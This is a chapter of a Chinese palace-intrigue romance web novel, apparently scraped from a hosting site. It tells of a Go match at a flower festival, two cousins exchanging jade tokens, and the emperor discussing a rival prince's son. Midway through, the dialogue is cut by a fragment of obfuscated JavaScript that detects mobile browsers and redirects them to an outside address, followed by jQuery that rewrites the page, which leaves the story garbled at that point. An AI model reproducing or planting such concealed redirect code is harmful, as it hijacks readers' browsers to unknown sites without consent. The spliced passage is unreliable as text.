默认冷灰
24号文字
方正启体

4. 归局

作者:溯棋本书字数:K更新时间:
    旧影乱,岁月散,故人叹,缘未断。


    对面的少年轻轻弃下手中的棋子,胜负已定,而季纭知的心里也有了答案。


    他,就是那个故人。


    一旁观战的棋院院长高声宣布了最后一场比赛的胜负,让周遭还愣怔的围观百姓回过了神、纷纷响起了掌声和惊叹。


    “承让。”季纭知起身对着对面微抿着薄唇的男子拱了拱手,接过院长手中的楠木匣子就准备转身下台。


    “公子留步!”男子突然出声。


    纭知微微一顿,转头看去——只见青衣公子缓缓伸手,取下面上的白银云纹面具,露出那张温润儒雅的精致面孔,惹得周遭的姑娘们发出了小声的惊叹。


    男子那双淡漠的桃花眼静静地看着面前戴着丑陋面具的季纭知,“在下姓赵,不知能否与公子交个朋友?”


    虽然已知道了来人,但面具下的纭知看着这熟悉的面孔还是不由得呼吸一滞,心中默默道,‘赵忱。’


    她的指尖不自觉抬起,想要摘下面具,可突然一只骨节分明的手握住了她的右手。


    “赵公子,家弟样貌丑拙,不宜示人,况且家中突有急事,我特意来寻家弟,现在就先走一步,告辞!”赵驭一本正经胡说八道完,就拉着纭知往台下走。


    季纭知被他拽得微微一晃,勉强回头,只好对赵忱轻声道:“后会有期。”


    刚走出人群,赵驭就揪着季纭知的耳朵说道:“季纭知,你是不是生怕别人认不出你来!”


    “你知不知道那人是谁?贤王世子赵忱!你最好离他远点!”


    十五年前,霍皇后虽无所出,但将生母早逝的两位皇子养在名下、视如己出。七年前的夺嫡之争,霍皇后扶持的德王与叶贵妃扶持的贤王相争,德王赵洑性情沉稳、手段宽严相济、谨慎缜密,而贤王赵烨性情狠辣、手段干脆暴戾,二王之争,以德王入主东宫为终,而从此两方在朝堂内外更是水火不容。


    “他和贤王不一样,他……挺好的……”纭知小声嘟囔着,但还是被赵驭听了个一字不漏。


    “小没良心的!我们认识六年了,也没见你夸我一个‘好’字,你才和他下了一盘棋,就……”赵驭咬牙切齿地说着,却发现小姑娘正没心没肺地低头踢着地上的石块、一点眼神都没有分给他。


    “怎么?你现在还看我不耐烦了?刚刚就下了一炷香的棋,你竟然看了他整整三次!”赵驭气不打一处来,开了阀似的吐槽着,“还有……”


    季纭知听着赵驭莫名其妙的怨念,无语地抬起头、静静地看着他,然后伸手将匣子里的白玉扳指套在了赵驭的指间。


    丝丝凉意从指间传到心头,赵驭所有的话瞬间噎住,低头对上纭知清澈的目光,微微一愣、攥紧了手中的白玉扳指,半晌,抿了抿唇,蓦地抬手,狠狠揉了揉纭知的脑袋,手劲大得像要把她的发髻揉散一般。


    “算你识相!”他恶狠狠地说道,随即目光瞥向不远处一个热闹的擂台,嘴角微微一勾,突然松开她,撂下一句:“站在这别动,你给我等着!”


    季纭知看着少年佯装愤怒、好像要寻人来收拾她的背影,忍不住轻轻地笑出了声。


    花朝节灯会上最大的擂场是顺远镖局办的百步穿杨,许多男子在擂场中举着弓箭、瞄着最远的靶子跃跃欲试,想为心爱的女子赢得最大的彩头,但亥时将尽,仍然没有一个人成功。


    这时,一支箭划破喧嚣,直直地射中最后一个靶子的红心。


    周遭喧闹的人群瞬间安静,纷纷顺势扭头看去,只见一位戴着丑奴面具、却难掩周身非凡气宇的男子刚放下手中拉得有些变形的弓。


    赵驭透着面具冷冷地瞥了一眼看热闹的百姓和有些沮丧的情郎们、没有多说一句话就拿起台上陈列在最高层的木匣、径直离去。


    赵驭快步走回原处的时候,街上的游人已经渐渐散去,小姑娘不知何时摘掉了面具,正站在灯火阑珊处、仰着头静静地看着夜空明亮的圆月。


    似是察觉到了身后的气息,纭知缓缓回过头来,月光下的眸子里映着他的影子,她弯起唇角,笑嘻嘻地凑近:“哟,表哥干什么去了?不知道的还以为你是去找人揍我呢!”


    赵驭眉梢轻挑,故作漫不经心地调笑:“哪儿舍得啊?”


    话音未落,他便伸手勾住了纭知的腰带,猛地将她拉近。


    季纭知只觉得心脏蓦地停滞、不自觉地咽了咽口水,看着赵驭低着头在她的腰间系上一块雕成桃花形状的秀气粉玉,“这是?”


    “回礼。”赵驭轻咳一声,生硬地说道。


    阑珊的灯火下,少年指间镌刻着桃花的白玉扳指和少女腰间的桃花粉玉交相辉映、灼灼其华。


    ‘为君一弈山河,为伊一羿日月。’


    季纭知轻抚着腰间温润的粉玉、眸子里是掩盖不住的笑意,然后轻轻踮起脚尖,突然伸手掀起赵驭脸上的面具,凑在那张俊毅的脸庞、轻声说道:“表哥,你真好!”


    ……


    赵驭偷摸着将纭知送回慈宁宫后,就翻着墙回了自己的庆安宫,刚一进屋内,一个清冷的声音就悠悠传入耳中,“舍得回来了?”


    赵驭一顿,抬眼看去,只见帘后香炉轻吐薄烟,年轻帝王一身玄色锦袍,正倚在软榻之上,手中茶盏轻摇,茶香氤氲中,竟显几分慵懒之意。


    榻上的小几上还摆着围棋,黑棋白子交错着,有些晃眼。


    “皇兄,你怎么来了?”


    赵驭若无其事地拢起外袍,大刺刺地坐到一旁。


    “怎么?朕来看你一趟,还要通禀一声不成?”


    赵洑将杯中茶一饮而尽,有些烦躁地把棋盘挪到一旁。然后拎着茶壶,又倒了一杯,清香的毛尖沿着杯壁晃出一圈茶晕,他两指扣在桌上、轻轻把茶杯推到赵驭的面前


    “本是打算与你一同过花朝节的,结果朕等了你半宿——你倒好,不知带着哪位佳人游花灯去了?”


    赵驭忍不住笑出声,端起茶盏轻抿了一口,目光戏谑:“皇兄,你是不是和皇嫂吵架了?”


    “你不说话没人当你是哑巴。”赵洑狠狠地剜了一眼赵驭。


    赵洑突然压低了声音,凑近了说到:“贤王今日上奏,请求世子赵忱暂居宫内、侍奉病重的叶太妃以尽孝道,芝麻大点事倒是闹得朝廷内外皆知。


    “不过是做给那帮大臣看的,侍疾是假,把世子当质子一样放在宫内、以示忠心才是真的目的吧。”赵驭眼底泛着冷意,白玉扳指在指尖转了两圈。


    35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16414352|184681||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    >“正是。”赵洑语气微冷,手指在杯沿轻敲了两下,眼底隐隐透着一丝疲惫,“那些老臣前脚还揪着赵烨的小辫子,后脚又开始明里暗里指责朕不顾兄弟情谊,未曾优待贤王。”


    “不过是掩人耳目罢了。”赵驭又掏出丝帕、细细地擦拭着透亮的白玉扳指,“贤王妃早逝、贤王一心想抬贵妾、要不是白家压着早就成了,这个便宜的世子被他轻视也不是一天两天的事情了。”


    “只是不知道他这次又想在背地里搞些什么小动作?”赵洑疲倦地捏了捏鼻根。“不过明面上,倒是替那世子攒声望——也快要及冠了,再铺排一番,怕是盯着那几个实权之位了。”


    赵驭低着头将扳指重新带回指上,脑中莫名想起晚上那局棋中男子含蓄而出其不意的棋路,“不过这世子,倒也不是个庸才。”


    “哦?”赵洑挑着眉、有些意外地看着赵驭,思索了一下道,“父子俩关系不好,倒是可以接近一下。”


    “不过,皇弟啊。”赵洑看着面前坐得没个正形儿的弟弟,突然有些调侃,“朕看你整日游手好闲,倒真像是打定主意要做一世逍遥王爷了?”


    “是呀,谁叫我有个好皇兄。我就想今朝有酒今朝醉,明日再娶心悦人!”


    “朕倒是觉得,你这是醉得巧,醒得又比旁人早。”


    赵驭没吭声,只是轻轻地笑着,又习惯性地用扳指有一搭没一搭地叩着桌面。


    赵洑目光一顿,被赵驭指上那枚温润洁白的玉扳指所吸引,眯眼细看。


    “这不是朕赐给应天棋院的花朝节彩头吗?怎的?皇弟的棋艺如今已如此精湛?”


    “当然不是。”赵驭不自觉地勾起嘴角,手指轻抚着白玉扳指,“是纭知为我赢的。”


    “你这!唉……”赵洑看着眼前满面春风的少年,想着今晚自己又被皇后拒之门外,只觉得他碍眼,“朕回宫了!皇弟早些歇息吧!”


    窗外月光洒落,落在案上还未收起的棋局上——是赵洑一人留下的残局。


    赵驭伸手,将一枚白子轻轻落下——正是今夜纭知在棋局上的点睛之笔。


    ……


    已是子时,室中灯火昏沉,香炉里最后一缕烟气还在轻轻旋转,像是还未散尽的梦。


    纭知斜倚在榻边,怀中摊着本已经磨得卷边的旧棋谱,指尖滑过纸页,却始终未落下一子。


    棋盘上复盘着今晚赵忱的棋局,她试着用上辈子这个时候的视角对弈,却发现——自己终究是借了两世的记忆,才勉强赢他半子。


    纭知从未想过,这一世会如此之早与赵忱相遇,早得让她几乎就摘下了面具,顺着他那句“愿与君为友”点头应下。


    现在想来,幸而没有。


    他太聪明了,若不是心甘情愿,又怎会成为入局之人?


    纭知不禁又想起前世的一幕幕,北漠的风沙裹着京城的月光,在脑海中盘旋不去。可思来想去终是无益,她索性合上棋谱,但一张笺纸突然从页缝间滑落,静静落在膝头。


    烛光微晃下,是她不知何时写下的一句诗,也许是前日,但对她来说却都是前世。


    上书十二字,字迹有些稚嫩,却已初显锋芒:


    “风未起,局先静。局未起,人先藏。”
(←快捷键) <<上一章 投推荐票 回目录 标记书签 下一章>> (快捷键→)